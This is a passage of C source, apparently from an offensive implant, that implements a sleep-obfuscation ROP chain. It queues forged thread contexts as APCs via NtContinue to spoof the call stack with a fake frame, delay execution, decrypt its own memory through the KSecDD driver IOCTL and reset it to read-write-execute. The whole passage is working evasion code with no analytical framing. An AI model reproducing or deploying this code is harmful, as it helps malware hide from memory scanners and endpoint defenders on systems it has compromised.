ContextCtxCap->Rcx = U_PTR( ContextSrcThd ); 325 | ContextCtxCap->Rdx = U_PTR( ContextCapMem ); 326 | *( ULONG_PTR *)( ContextCtxCap->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; 327 | 328 | ContextStatus = Ins->nt.NtQueueApcThread( 329 | ContextRopThd, 330 | Ins->nt.NtContinue, 331 | ContextCtxCap, 332 | NULL, 333 | NULL 334 | ); 335 | 336 | if ( ContextStatus != STATUS_SUCCESS ) { 337 | goto END_ROP_CHAIN; 338 | }; 339 | 340 | ContextCtxSet = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 341 | if ( ! ContextCtxSet ) { 342 | goto END_ROP_CHAIN; 343 | }; 344 | 345 | *ContextCtxSet = *ContextStolen; 346 | ContextCtxSet->ContextFlags = CONTEXT_FULL; 347 | ContextCtxSet->Rsp = U_PTR( ContextStolen->Rsp ); 348 | ContextCtxSet->Rip = U_PTR( Ins->nt.NtSetContextThread ); 349 | ContextCtxSet->Rcx = U_PTR( ContextSrcThd ); 350 | ContextCtxSet->Rdx = U_PTR( FakeFrame ); 351 | *( ULONG_PTR *)( ContextCtxSet->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; 352 | 353 | ContextStatus = Ins->nt.NtQueueApcThread( 354 | ContextRopThd, 355 | Ins->nt.NtContinue, 356 | ContextCtxSet, 357 | NULL, 358 | NULL 359 | ); 360 | 361 | if ( ContextStatus != STATUS_SUCCESS ) { 362 | goto END_ROP_CHAIN; 363 | }; 364 | 365 | ContextRopDel = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 366 | if ( ! ContextRopDel ) { 367 | goto END_ROP_CHAIN; 368 | }; 369 | 370 | // 371 | // WAIT FUNCTION GOES HERE 372 | // 373 | 374 | // 375 | // Swap this with NtWaitForSingleObject 376 | // for practicality purposes so that 377 | // we can use it on objects. 378 | // 379 | 380 | *ContextRopDel = *ContextStolen; 381 | ContextRopDel->ContextFlags = CONTEXT_FULL; 382 | ContextRopDel->Rsp = U_PTR( ContextStolen->Rsp ); 383 | ContextRopDel->Rip = U_PTR( Ins->nt.NtDelayExecution ); 384 | ContextRopDel->Rcx = U_PTR( FALSE ); 385 | ContextRopDel->Rdx = U_PTR( Timeout ); 386 | *( ULONG_PTR *)( ContextRopDel->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; 387 | 388 | ContextStatus = Ins->nt.NtQueueApcThread( 389 | ContextRopThd, 390 | Ins->nt.NtContinue, 391 | ContextRopDel, 392 | NULL, 393 | NULL 394 | ); 395 | 396 | if ( ContextStatus != STATUS_SUCCESS ) { 397 | goto END_ROP_CHAIN; 398 | }; 399 | 400 | // 401 | // WAIT FUNCTION ENDS HERE 402 | // 403 | 404 | ContextRopDec = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 405 | if ( ! ContextRopDec ) { 406 | goto END_ROP_CHAIN; 407 | }; 408 | 409 | *ContextRopDec = *ContextStolen; 410 | ContextRopDec->ContextFlags = CONTEXT_FULL; 411 | ContextRopDec->Rsp = U_PTR( ContextStolen->Rsp - 0x3000 ); 412 | ContextRopDec->Rip = U_PTR( Ins->nt.NtDeviceIoControlFile ); 413 | ContextRopDec->Rcx = U_PTR( ContextSecDev ); 414 | ContextRopDec->Rdx = U_PTR( NULL ); 415 | ContextRopDec->R8 = U_PTR( NULL ); 416 | ContextRopDec->R9 = U_PTR( NULL ); 417 | *( ULONG_PTR *)( ContextRopDec->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; 418 | *( ULONG_PTR *)( ContextRopDec->Rsp + 0x28 ) = ( ULONG_PTR ) &ContextIoStat; 419 | *( ULONG_PTR *)( ContextRopDec->Rsp + 0x30 ) = ( ULONG_PTR ) IOCTL_KSEC_DECRYPT_MEMORY; 420 | *( ULONG_PTR *)( ContextRopDec->Rsp + 0x38 ) = ( ULONG_PTR ) ContextMemPtr; 421 | *( ULONG_PTR *)( ContextRopDec->Rsp + 0x40 ) = ( ULONG_PTR ) ( ContextMemLen + 0x1000 - 1 ) &~ ( 0x1000 - 1 ); 422 | *( ULONG_PTR *)( ContextRopDec->Rsp + 0x48 ) = ( ULONG_PTR ) ContextMemPtr; 423 | *( ULONG_PTR *)( ContextRopDec->Rsp + 0x50 ) = ( ULONG_PTR ) ( ContextMemLen + 0x1000 - 1 ) &~ ( 0x1000 - 1 ); 424 | 425 | ContextStatus = Ins->nt.NtQueueApcThread( 426 | ContextRopThd, 427 | Ins->nt.NtContinue, 428 | ContextRopDec, 429 | NULL, 430 | NULL 431 | ); 432 | 433 | if ( ContextStatus != STATUS_SUCCESS ) { 434 | goto END_ROP_CHAIN; 435 | }; 436 | 437 | ContextCtxRes = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 438 | if ( ! ContextCtxRes ) { 439 | goto END_ROP_CHAIN; 440 | }; 441 | 442 | *ContextCtxRes = *ContextStolen; 443 | ContextCtxRes->ContextFlags = CONTEXT_FULL; 444 | ContextCtxRes->Rsp = U_PTR( ContextStolen->Rsp ); 445 | ContextCtxRes->Rip = U_PTR( Ins->nt.NtSetContextThread ); 446 | ContextCtxRes->Rcx = U_PTR( ContextSrcThd ); 447 | ContextCtxRes->Rdx = U_PTR( ContextCapMem ); 448 | *( ULONG_PTR *)( ContextCtxRes->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; 449 | 450 | ContextStatus = Ins->nt.NtQueueApcThread( 451 | ContextRopThd, 452 | Ins->nt.NtContinue, 453 | ContextCtxRes, 454 | NULL, 455 | NULL 456 | ); 457 | 458 | if ( ContextStatus != STATUS_SUCCESS ) { 459 | goto END_ROP_CHAIN; 460 | }; 461 | 462 | ContextRopRes = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 463 | if ( ! ContextRopRes ) { 464 | goto END_ROP_CHAIN; 465 | }; 466 | 467 | *ContextRopRes = *ContextStolen; 468 | ContextRopRes->ContextFlags = CONTEXT_FULL; 469 | ContextRopRes->Rsp = U_PTR( ContextStolen->Rsp - 0x1000 ); 470 | ContextRopRes->Rip = U_PTR( Ins->nt.NtProtectVirtualMemory ); 471 | ContextRopRes->Rcx = U_PTR( NtCurrentProcess() ); 472 | ContextRopRes->Rdx = U_PTR( &ContextResPtr ); 473 | ContextRopRes->R8 = U_PTR( &ContextResLen ); 474 | ContextRopRes->R9 = U_PTR( PAGE_EXECUTE_READWRITE ); 475 | *( ULONG_PTR *)( ContextRopRes->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert ; 476 | *( ULONG_PTR *)( ContextRopRes->Rsp + 0x28 ) = ( ULONG_PTR ) &ContextResPrt; 477 | 478 | ContextStatus = Ins->nt.NtQueueApcThread( 479 | ContextRopThd, 480 | Ins->nt.NtContinue, 481 | ContextRopRes, 482 | NULL, 483 | NULL 484 | ); 485 | 486 | if ( ContextStatus != STATUS_SUCCESS ) { 487 | goto END_ROP_CHAIN; 488 | }; 489 | 490 | ContextRopExt = NtMemAlloc( Ins, sizeof( CONTEXT ) ); 491 | if ( ! ContextRopExt ) { 492 | goto END_ROP_CHAIN; 493 | }; 494 | 495 | *ContextRopExt = *ContextStolen; 496 | ContextRopExt->ContextFlags = CONTEXT_FULL; 497 | ContextRopExt->Rsp = U_PTR( ContextStolen->Rsp ); 498 | ContextRopExt->Rip = U_PTR( Ins->nt.ExitThread ); 499 | ContextRopExt->Rcx = U_PTR( NULL ); 500 | *( ULONG_PTR *)( ContextRopExt->Rsp + 0x00 ) = ( ULONG_PTR ) Ins->nt.NtTestAlert; 501 | 502 | ContextStatus = Ins->nt.NtQueueApcThread( 503 | ContextRopThd, 504 | Ins->nt.NtContinue, 505 | ContextRopExt, 506 | NULL, 507 | NULL 508 | ); 509 | 510 | if ( ContextStatus != STATUS_SUCCESS ) { 511 | goto END_ROP_CHAIN; 512 | }; 513 | 514 | ContextStatus = Ins->nt.NtAlertResumeThread( 515 | ContextRopThd, 516 | &ContextSusCnt 517 | ); 518 | 519 | if ( ContextStatus != STATUS_SUCCESS ) { 520 | goto END_ROP_CHAIN; 521 | }; 522 | 523 | ContextStatus = Ins->nt.NtSignalAndWaitForSingleObject( 524 | ContextSyncEv, 525 | ContextRopThd, 526 | TRUE, 527 | NULL 528 | ); 529 | 530 | if ( ContextStatus != STATUS_SUCCESS ) { 531 | goto END_ROP_CHAIN; 532 | }; 533 | 534 | END_ROP_CHAIN: 535 | if ( ContextRopDec ) { 536 | NtMemFree( Ins, ContextRopDec ); 537 | }; 538 | if ( ContextRopEnc ) { 539 | NtMemFree( Ins, ContextRopEnc ); 540 | }; 541 | if ( ContextCtxRes ) { 542 | NtMemFree( Ins, ContextCtxRes ); 543 | }; 544 | if ( ContextCtxSet ) { 545 | NtMemFree( Ins, ContextCtxSet ); 546 | }; 547 | if ( ContextCtxCap ) { 548 | NtMemFree( Ins, ContextCtxCap ); 549 | }; 550 | if ( ContextCapMem ) { 551 | NtMemFree( Ins, ContextCapMem ); 552 | }; 553 | if ( ContextRopRes ) { 554 | NtMemFree( Ins, ContextRopRes ); 555 | }; 556 | if ( ContextRopSet ) { 557 | NtMemFree( Ins, ContextRopSet ); 558 | }; 559 | if ( ContextRopDel ) { 560 | NtMemFree( Ins, ContextRopDel ); 561 | }; 562 | if ( ContextRopEnt ) { 563 | NtMemFree( Ins, ContextRopEnt ); 564 | }; 565 | if ( ContextRopExt ) { 566 | NtMemFree( Ins, ContextRopExt ); 567 | }; 568 | if ( ContextStolen ) { 569 | NtMemFree( Ins, ContextStolen ); 570 | }; 571 | if ( ContextRopThd ) { 572 | Ins->nt.NtTerminateThread( ContextRopThd, STATUS_SUCCESS ); 573 | Ins->nt.NtClose( ContextRopThd ); 574 | }; 575 | if ( ContextSrcThd ) { 576 | Ins->nt.NtClose( ContextSrcThd ); 577 | }; 578 | if ( ContextSyncEv ) { 579 | Ins->nt.NtClose( ContextSyncEv ); 580 | }; 581 | if ( ContextSecDev ) { 582 | Ins->nt.NtClose( ContextSecDev ); 583 | }; 584 | 585 | return ContextStatus; 586 | }; 587 | --------------------------------------------------------------------------------